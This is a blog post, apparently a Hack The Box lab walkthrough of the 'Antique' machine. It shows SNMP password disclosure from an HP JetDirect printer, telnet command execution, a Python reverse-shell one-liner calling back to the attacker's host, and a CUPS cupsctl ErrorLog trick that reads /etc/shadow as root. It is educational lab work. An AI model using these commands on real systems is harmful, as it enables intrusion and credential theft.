{"id":195,"date":"2022-06-21T01:12:45","date_gmt":"2022-06-21T01:12:45","guid":{"rendered":"https:\/\/jasonlcurby.com\/blog\/?p=195"},"modified":"2023-08-06T06:59:17","modified_gmt":"2023-08-06T06:59:17","slug":"antique-machine-walkthrough-hack-the-box","status":"publish","type":"post","link":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/21\/antique-machine-walkthrough-hack-the-box\/","title":{"rendered":"Antique Machine Walkthrough \u2013 Hack The Box"},"content":{"rendered":"\n<p><strong>Antique<\/strong> is rated as an easy machine on HTB.<\/p>\n\n\n\n<p><strong>Enumeration<\/strong><\/p>\n\n\n\n<p>First we grab the&nbsp;<em>.ovpn<\/em>&nbsp;file for the VPN and connect to the network from our machine:&nbsp;<em>openvpn rofo.ovpn.&nbsp;<\/em>An initial nmap of the target is next. Then the nmap:<\/p>\n\n\n\n<p><span style=\"color: #00ff41;\">nmap: nmap -sV -open -vvv -oA initial_scan 10.10.11.107<\/span><\/p>\n\n\n\n<p>Result is an open <em>port 23\/tcp telnet? \u2013 unrecognized fingerprint<\/em> &#8211; however reading through the long fingerprint string gives us a clue &#8211; it is filled with references to <em>HP JetDIrect.<\/em> <\/p>\n\n\n\n<p>Which on research is a technology sold by Hewlett-Packard that allows computer printers to be directly attached to a Local Area Network. Considering the name of the machine (Antique) and the fact JetDirect was introduced in March 1991 (with a presumably long history of exploits), this is likely it. <\/p>\n\n\n\n<p>Run a deeper port specific nmap scan on 23 to try get more detailed information. <\/p>\n\n\n\n<p><span style=\"color: #00ff41;\">sudo nmap -Pn -v -sV -sC -sSV &#8211;version-intensity 9 &#8211;script=banner -oA port_scan 10.10.11.107 -p 23<\/span><\/p>\n\n\n\n<p>While that is running a searchsploit JetDirect gives us a bunch of potential exploits. <\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"955\" height=\"217\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-1.jpg\" alt=\"Searchsploit jetdirect for any exploits we can take advantage of for our target.\" class=\"wp-image-202\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-1.jpg 955w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-1-300x68.jpg 300w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-1-768x175.jpg 768w\" sizes=\"auto, (max-width: 955px) 100vw, 955px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Searchsploit jetdirect for any exploits we can take advantage of for our target.<\/span><\/figcaption><\/figure>\n\n\n\n<p>The deeper <em>nmap <\/em>scan finishes, giving us not much extra to go off in terms of potential versions, although versions aren\u2019t specified in the exploits we do find.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"811\" height=\"273\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-2.jpg\" alt=\"Deeper namp scan of the 23\/tcp open telnet port.\" class=\"wp-image-203\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-2.jpg 811w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-2-300x101.jpg 300w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-2-768x259.jpg 768w\" sizes=\"auto, (max-width: 811px) 100vw, 811px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Deeper namp scan of the 23\/tcp open telnet port.<\/span><\/figcaption><\/figure>\n\n\n\n<p>We&#8217;ll run <em>msfconsole <\/em>and start looking for Metasploit supported JetDirect exploits that we can take advantage of. The most promising hit is <span style=\"color: #00ff41;\">HP JetDirect Path Traversal Arbitrary Code Execution<\/span> \u2013 disclosed in 2017. This exploits a path traversal vie JetDirect to gain arbitrary code execution by writing a shell script that is loaded on start-up to <em>\/etc\/profile.d<\/em>.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"987\" height=\"217\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-3.jpg\" alt=\"The HP JetDirect Path Traversal exploit supported on Metasploit.\" class=\"wp-image-204\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-3.jpg 987w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-3-300x66.jpg 300w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-3-768x169.jpg 768w\" sizes=\"auto, (max-width: 987px) 100vw, 987px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">The HP JetDirect Path Traversal exploit supported on Metasploit.<\/span><\/figcaption><\/figure>\n\n\n\n<p> The options are straightforward enough &#8211; except I keep getting <em>badValue <\/em>and <em>noSuchInstance<\/em> responses. So I&#8217;ve either misconfigured something here, am missing something simple, or the target is not reachable for some other reason. Changing the port option in the Metasploit exploit from any value but the default gives us a connection refused error regardless \u2013 so we\u2019ll stick with 161 for now.  <\/p>\n\n\n\n<p>After trying a number of times, I decide to leave this exploit on the backburner and do some further reading. I\u2019d like to see if I can get it working down the road though, but I&#8217;m not sure if I have the correct (default) SNMP port or missing something obvious \u2013 so I run another <em>nmap <\/em>scan with a wider port-range as well as for UDP ports.<\/p>\n\n\n\n<p><span style=\"color: #00ff41;\">sudo nmap -sV 10.10.11.107 -Pn -open -vvv -sU<\/span><\/p>\n\n\n\n<p>This finds the port 161\/udp. We run a deeper scan to get a more detailed overview of the port.<\/p>\n\n\n\n<p><span style=\"color: #00ff41;\">sudo nmap -sV 10.10.11.107 -Pn -open -vvv -sU -p 161<\/span><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"550\" height=\"55\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-5.jpg\" alt=\"Open snmp port on the target.\" class=\"wp-image-206\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-5.jpg 550w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-5-300x30.jpg 300w\" sizes=\"auto, (max-width: 550px) 100vw, 550px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Open snmp port on the target.<\/span><\/figcaption><\/figure>\n\n\n\n<p>I begin research on the next potential attack on the target &#8211; the <span style=\"color: #00ff41;\">SNMP JetAdmin Device Password Disclosure<\/span>. By sending SMPT GET requests to a vulnerable printer, the printer will return the hex-encoded device password to the requester. If I can decode this, I could get access to the printer, allowing a remote user to access and change its configuration. The example I&#8217;m following online is using the Web32 app <em>snmputil<\/em>. Let\u2019s try and get it working from Kali. First step is to enumerate the SNMP service using Kali\u2019s <em>snmpwalk <\/em>command:<\/p>\n\n\n\n<p><span style=\"color: #00ff41;\">snmpwalk -v 2c -c public 10.10.11.107<\/span><\/p>\n\n\n\n<p>Running this command responds with the string \u201cHTB Printer\u201d, confirming that it is a JetDirect printer and I&#8217;m likely approaching this the right way. Let\u2019s try and send an SMPT request to the printer and see if we can get the device password disclosure mentioned in the exploit details above.<\/p>\n\n\n\n<p><span style=\"color: #00ff41;\">snmpwalk -v 2c -c public 10.10.11.107 .1.3.6.1.4.1.11.2.3.9.1.1.13.0<\/span> (<em>although just .1 works as it still dumps the response<\/em>)<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"894\" height=\"104\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-6.jpg\" alt=\"Snmpwalk output to the target gives us a hex-encoded password we can decode.\" class=\"wp-image-207\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-6.jpg 894w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-6-300x35.jpg 300w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-6-768x89.jpg 768w\" sizes=\"auto, (max-width: 894px) 100vw, 894px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Snmpwalk to the target gives us a hex-encoded password we can decode.<\/span><\/figcaption><\/figure>\n\n\n\n<p>The response post \u201cBITS: ..\u201d followed by a print out of hex values. We pump this into a hex decoder to get readable text &#8211; although the first site I used didn&#8217;t like it at all. A working conversion gives us what is obviously a correctly decoded password:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"641\" height=\"532\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-7.jpg\" alt=\"\" class=\"wp-image-208\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-7.jpg 641w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-7-300x249.jpg 300w\" sizes=\"auto, (max-width: 641px) 100vw, 641px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Hex to text converter of the output string gives us the printer password.<\/span><\/figcaption><\/figure>\n\n\n\n<p>It&#8217;s likely <em>P@ssw0rd@123!!123<\/em> \u2013 considering the ?? characters following. So now we have a password to the printer \u2013 let\u2019s try and connect to it directly. We telnet into the originally scanned open telnet? port 23. And we&#8217;re in &#8211; pressing ? for help as per the login message. <\/p>\n\n\n\n<p>Here I spend a bit of time trying to output configs, raw ports and any settings that might give me something. However the answer is plainly obvious. The second last parameter allows the execution of system commands ie. <em>exec id<\/em>. We&#8217;ll try running <em>exec <\/em>as if we&#8217;re in a shell. <em>exec id<\/em> gives us the user: <em>uid=7(lp) gid=7(lp) groups=7(lp),19(lpadmin)<\/em>. An <em>exec ls<\/em> gets us 2 files: <em>telnet.py<\/em> and <em>user.txt <\/em>\u2013 <em>exec cat user.txt<\/em> gets us the user flag.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"543\" height=\"571\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-10.jpg\" alt=\"Entering the printer and viewing the available commands with the ? command.\" class=\"wp-image-211\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-10.jpg 543w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-10-285x300.jpg 285w\" sizes=\"auto, (max-width: 543px) 100vw, 543px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Entering the printer and viewing the available commands with the ? command. Followed by ls and cat.<\/span><\/figcaption><\/figure>\n\n\n\n<p><strong>Reverse Shell<\/strong><\/p>\n\n\n\n<p>Next we go for the system flag using privilege escalation. <em>Sudo -l<\/em> is locked out by the user <em>lp<\/em> password. I need to find this or admin credentials in order to dig deeper into the target. <em>exec cat telnet.py <\/em>to view the file that controls the connection to the printer &#8211; I&#8217;ll see if I can use this file in the future to establish any kind of privilege escalate or reverse shell if I can&#8217;t using purely <em>exec<\/em>.<\/p>\n\n\n\n<p>I\u2019d like to see if I can initiate a reverse shell, so we establish a listener on our machine:<\/p>\n\n\n\n<p><span style=\"color: #00ff41;\">nc -lvnp 1234<\/span><\/p>\n\n\n\n<p>and see if we can connect from the target machine with a shell using python3:<\/p>\n\n\n\n<p><span style=\"color: #00ff41;\">exec python3 -c &#8216;socket=__import__(&#8220;socket&#8221;);os=__import__(&#8220;os&#8221;);pty=__import__(&#8220;pty&#8221;);s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&#8220;10.10.14.5&#8221;,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(&#8220;\/bin\/sh&#8221;)&#8217;<\/span><\/p>\n\n\n\n<p>And it works &#8211; we\u2019re connected to our local listener, achieving a reverse shell as the <em>lp <\/em>user. Now to upgrade it to TTY.<\/p>\n\n\n\n<p><span style=\"color: #00ff41;\">python3 -c &#8216;import pty; pty.spawn(&#8220;\/bin\/bash&#8221;)&#8217;<\/span><\/p>\n\n\n\n<p>go to \/etc to dig around<\/p>\n\n\n\n<p>Do some <em>grep <\/em>searches of the directory tree for \u2018login\u2019 and \u2018password\u2019, \u201cadmin\u201d:<\/p>\n\n\n\n<p><span style=\"color: #00ff41;\">find&nbsp;. -type f&nbsp; -exec &nbsp;grep &#8220;rofo&#8221; &#8216;{}&#8217; \\; -print<\/span><\/p>\n\n\n\n<p>Nothing yet, <em>cat <\/em>some <em>.conf<\/em> files, logs, whatever I can find. Run a <em>netstat -ant<\/em> to see if I can find anything else exploitable running on the machine. There\u2019s something running on <em>localhost <\/em>port 631. Research shows it&#8217;s Internet Printing Protocol (IPP) \u2013 standard in mobile and cloud printing. Importantly, it\u2019s based on HTTP, it takes POSTs sent to the server listening on the port. If it\u2019s HTTP and takes POST, does it take GETs?<\/p>\n\n\n\n<p>A <em>curl <\/em>to 127.0.0.1:631 from the target machine gets a HTML response as if it\u2019s a webpage, so either I work with these requests in the shell or view the service in a browser. Within the curl we see the title <em>&lt;TITLE&gt;Home \u2013 CUPS 1.6.1&lt;\/TITLE&gt;<\/em>, and a description of CURPs as being a standards-based, open source printing system developed by Apple Inc. for OS X and other UNIX-like operating systems.<\/p>\n\n\n\n<p>Lets search exploits for CUPS 1.6.1:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"812\" height=\"157\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-13.jpg\" alt=\"Searchsploit cups 1.6.1 for any potential attack vectors.\" class=\"wp-image-214\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-13.jpg 812w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-13-300x58.jpg 300w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-13-768x148.jpg 768w\" sizes=\"auto, (max-width: 812px) 100vw, 812px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Searchsploit Cups 1.6.1 for any potential attack vectors.<\/span><\/figcaption><\/figure>\n\n\n\n<p>Research online for CUPS 1.6.1 exploit returns a root file read exploit supported by Metasploit, of which a search shows the exploit available. CUPS allows members of the <em>lpadmin <\/em>group \u2013 which we saw in <em>id <\/em>when connected \u2013 to make changes to the <em>cupsd.conf <\/em>configuration, which can specific an Error Log path. This can be read and is printed as plaintext \u2013 so we can read potential login credentials or flags with escalated privileges to root. The Metasploit script requires a SESSION and connection to CUPS \u2013 but it\u2019s sitting on our target and unreachable externally.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"167\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-14-1024x167.jpg\" alt=\"Cups 1.6.1 Root File Read exploit.\" class=\"wp-image-215\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-14-1024x167.jpg 1024w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-14-300x49.jpg 300w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-14-768x125.jpg 768w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-14.jpg 1143w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Cups 1.6.1 Root File Read exploit.<\/span><\/figcaption><\/figure>\n\n\n\n<p>Further reading and exploring and I can find the <em>cupsd.conf<\/em> file in <em>\/etc\/cups\/cupsd.conf<\/em> \u2013 however I don\u2019t have permission to edit it from here. I go reading through the documentation for CUPS and come across a <em>cupsctrl<\/em>. <em>cupsctl <\/em>updates or queries the <em>cupsd.conf <\/em>file for a server. When no changes are&nbsp;requested,&nbsp;the&nbsp;current&nbsp; configuration values&nbsp;are&nbsp;written to&nbsp;the&nbsp;standard output in the format &#8220;name=value&#8221;, one per line. Re-reading information on the exploit page details how this can be achieved: Warning: if the user has set up a custom path to the CUPS error log, this module might fail to reset that path correctly. You can specify a custom error log path with the ERROR_LOG datastore option. So we try:<\/p>\n\n\n\n<p><span style=\"color: #00ff41;\">cupsctl ErrorLog=&#8221;rofo&#8221;<\/span><\/p>\n\n\n\n<p>I can see this adds or edits the <em>ErrorLog <\/em>now appended to the end of the <em>cupsd.conf<\/em> file. I run it a second time to confirm the value changes.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"312\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-16-1024x312.jpg\" alt=\"The ErrorLog value added to the end of the cupsd.conf file as root.\" class=\"wp-image-217\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-16-1024x312.jpg 1024w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-16-300x91.jpg 300w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-16-768x234.jpg 768w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-16.jpg 1053w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">The ErrorLog value added to the end of the cupsd.conf file as root.<\/span><\/figcaption><\/figure>\n\n\n\n<p>Now how do I retrieve this via curl? Further reading on later exploits (specifically CVE-2012-5519) \u2013 looking for references to a CUPS error log file \u2013 yields the path to the error_log page: <em>\/admin\/log\/error_log<\/em>. So a <em>curl <\/em>there is next.<\/p>\n\n\n\n<p><span style=\"color: #00ff41;\">curl 127.0.0.1:631\/admin\/log\/error_log<\/span><\/p>\n\n\n\n<p>It does give me a successful response \u2013 however looks like it\u2019s looking for something that doesn\u2019t exist (obviously <em>rofoTEST<\/em>) so the title of the html page return is Not Found. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"242\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-17-1024x242.jpg\" alt=\"A curl to the error log file gives us a response - but to a non-existent file.\" class=\"wp-image-218\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-17-1024x242.jpg 1024w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-17-300x71.jpg 300w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-17-768x181.jpg 768w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-17.jpg 1055w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">A curl to the error log file gives us a response &#8211; but to a non-existent file.<\/span><\/figcaption><\/figure>\n\n\n\n<p>We\u2019ll set it to the default listed in the Metasploit setting that we couldn\u2019t use from outside the system: <em>\/etc\/shadow\/<\/em>.<\/p>\n\n\n\n<p><span style=\"color: #00ff41;\">cupsctl ErrorLog=&#8221;\/etc\/shadow\/&#8221;<\/span><\/p>\n\n\n\n<p>This returns the expected output of what must be the file within. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-18-1024x576.jpg\" alt=\"Curl of the error_log when we have a file that exists on the target (Metasploit default shadow).\" class=\"wp-image-219\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-18-1024x576.jpg 1024w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-18-300x169.jpg 300w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-18-768x432.jpg 768w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-18.jpg 1049w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Curl of the error_log when we have a file that exists on the target (Metasploit default \/etc\/shadow\/).<\/span><\/figcaption><\/figure>\n\n\n\n<p>Next let\u2019s try to find flag.txt or root.txt. After a few directory and file attempts, found it:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"110\" src=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-19-1024x110.jpg\" alt=\"Finding the root.txt flag with the root error_log file exploit and curl.\" class=\"wp-image-220\" srcset=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-19-1024x110.jpg 1024w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-19-300x32.jpg 300w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-19-768x83.jpg 768w, https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2022\/06\/antique-19.jpg 1060w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><span style=\"color: #00ff41;\">Finding the root.txt flag with the root error_log file exploit and curl.<\/span><\/figcaption><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>Antique is rated as an easy machine on HTB. Enumeration First we grab the&nbsp;.ovpn&nbsp;file for the VPN and connect to the network from our machine:&nbsp;openvpn rofo.ovpn.&nbsp;An initial nmap of the target is next. Then the nmap: nmap: nmap -sV -open -vvv -oA initial_scan 10.10.11.107 Result is an open port 23\/tcp telnet? \u2013 unrecognized fingerprint &#8211; [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":587,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,9],"tags":[],"class_list":["post-195","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cybersecurity","category-hack-the-box"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.3 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Antique Machine Walkthrough \u2013 Hack The Box - JLC<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/jasonlcurby.com\/blog\/2022\/06\/21\/antique-machine-walkthrough-hack-the-box\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Antique Machine Walkthrough \u2013 Hack The Box - JLC\" \/>\n<meta property=\"og:description\" content=\"Antique is rated as an easy machine on HTB. Enumeration First we grab the&nbsp;.ovpn&nbsp;file for the VPN and connect to the network from our machine:&nbsp;openvpn rofo.ovpn.&nbsp;An initial nmap of the target is next. Then the nmap: nmap: nmap -sV -open -vvv -oA initial_scan 10.10.11.107 Result is an open port 23\/tcp telnet? \u2013 unrecognized fingerprint &#8211; [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/jasonlcurby.com\/blog\/2022\/06\/21\/antique-machine-walkthrough-hack-the-box\/\" \/>\n<meta property=\"og:site_name\" content=\"JLC\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/jason.curby\" \/>\n<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/jason.curby\" \/>\n<meta property=\"article:published_time\" content=\"2022-06-21T01:12:45+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-08-06T06:59:17+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2023\/08\/antique-1.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"955\" \/>\n\t<meta property=\"og:image:height\" content=\"217\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"rofo\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@https:\/\/twitter.com\/JasonCurby\" \/>\n<meta name=\"twitter:site\" content=\"@JasonCurby\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"rofo\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/21\\\/antique-machine-walkthrough-hack-the-box\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/21\\\/antique-machine-walkthrough-hack-the-box\\\/\"},\"author\":{\"name\":\"rofo\",\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/#\\\/schema\\\/person\\\/187b41b22ffae39c83b69ddc480ea1f3\"},\"headline\":\"Antique Machine Walkthrough \u2013 Hack The Box\",\"datePublished\":\"2022-06-21T01:12:45+00:00\",\"dateModified\":\"2023-08-06T06:59:17+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/21\\\/antique-machine-walkthrough-hack-the-box\\\/\"},\"wordCount\":1702,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/#\\\/schema\\\/person\\\/187b41b22ffae39c83b69ddc480ea1f3\"},\"image\":{\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/21\\\/antique-machine-walkthrough-hack-the-box\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/08\\\/antique-1.jpg\",\"articleSection\":[\"Cybersecurity\",\"Hack The Box\"],\"inLanguage\":\"en-AU\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/21\\\/antique-machine-walkthrough-hack-the-box\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/21\\\/antique-machine-walkthrough-hack-the-box\\\/\",\"url\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/21\\\/antique-machine-walkthrough-hack-the-box\\\/\",\"name\":\"Antique Machine Walkthrough \u2013 Hack The Box - JLC\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/21\\\/antique-machine-walkthrough-hack-the-box\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/21\\\/antique-machine-walkthrough-hack-the-box\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/08\\\/antique-1.jpg\",\"datePublished\":\"2022-06-21T01:12:45+00:00\",\"dateModified\":\"2023-08-06T06:59:17+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/21\\\/antique-machine-walkthrough-hack-the-box\\\/#breadcrumb\"},\"inLanguage\":\"en-AU\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/21\\\/antique-machine-walkthrough-hack-the-box\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-AU\",\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/21\\\/antique-machine-walkthrough-hack-the-box\\\/#primaryimage\",\"url\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/08\\\/antique-1.jpg\",\"contentUrl\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/08\\\/antique-1.jpg\",\"width\":955,\"height\":217},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/2022\\\/06\\\/21\\\/antique-machine-walkthrough-hack-the-box\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Antique Machine Walkthrough \u2013 Hack The 